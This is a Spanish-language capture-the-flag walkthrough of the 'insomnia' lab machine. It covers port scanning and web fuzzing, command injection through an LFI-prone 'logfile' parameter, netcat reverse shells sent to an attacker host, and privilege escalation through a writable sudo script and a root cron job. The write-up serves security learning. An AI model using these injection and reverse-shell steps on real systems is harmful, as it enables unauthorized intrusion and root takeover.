Comenzamos con un escaneo general y uno específico de puertos:
❯ nmap -p- -sS --min-rate 5000 -n -Pn -oN 01-allPorts.txt 192.168.1.22
❯ nmap -sC -sV -p8080 -oN 02-targeted.txt 192.168.1.22
Nmap scan report for 192.168.1.22
Host is up (0.00020s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
8080/tcp open http-proxy
MAC Address: 08:00:27:D0:A6:75 (Oracle VirtualBox virtual NIC)
# Nmap done at Wed Jan 10 20:38:38 2024 -- 1 IP address (1 host up) scanned in 0.94 secondsEnumeramos rutas .php con wfuzz:
❯ wfuzz -c --hc=404 -t 100 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://192.168.1.22:8080/FUZZ.php
...
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000015: 200 102 L 216 W 2899 Ch "index"
000001763: 200 2 L 12 W 65 Ch "administration"
000001927: 200 0 L 1 W 2 Ch "process"
...Comprobamos si administration.php acepta algún parámetro de fichero, fuzzeando contra /etc/passwd:
❯ wfuzz -c --hc=404 --hh 65 -t 100 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://192.168.1.22:8080/administration.php\?FUZZ\=/etc/passwd
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000199160: 200 2 L 12 W 76 Ch "logfile"El parámetro logfile permite incluir archivos (LFI) y, además, ejecutar comandos encadenándolos, lo que aprovechamos para una reverse shell:
❯ http://192.168.1.22:8080/administration.php?logfile=chat.txt;nc -e /bin/sh 192.168.1.10 4444Obtenemos acceso y la primera flag. Iniciamos la escalada con sudo -l:
Matching Defaults entries for www-data on insomnia:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on insomnia:
(julia) NOPASSWD: /bin/bash /var/www/html/start.shPodemos ejecutar start.sh como julia. Comprobamos sus permisos:
❯ www-data@insomnia:/$ ls -l /var/www/html/start.sh
-rwxrwxrwx 1 root root 20 Dec 21 2020 /var/www/html/start.shEs escribible, así que lo sobrescribimos con una línea que lance una shell como julia:
❯ www-data@insomnia:/$ echo "/bin/bash" > /var/www/html/start.sh
❯ sudo -u julia /bin/bash /var/www/html/start.shYa como julia, analizamos su .bash_history y descubrimos un .sh sospechoso en /var/cron. Revisamos /etc/crontab:
❯ julia@insomnia:/var/cron$ cat /etc/crontab
...
* * * * * root /bin/bash /var/cron/check.sh
...El script lo ejecuta root cada minuto y es escribible:
❯ julia@insomnia:/var/cron$ ls -l /var/cron/check.sh
-rwxrwxrwx 1 root root 153 Dec 21 2020 /var/cron/check.shLe añadimos una reverse shell y esperamos a que el cron la ejecute como root:
❯ julia@insomnia:/var/cron$ echo "nc -e /bin/bash 192.168.1.10 5555" >> check.shObtenemos acceso root y nuestra bandera. Fin.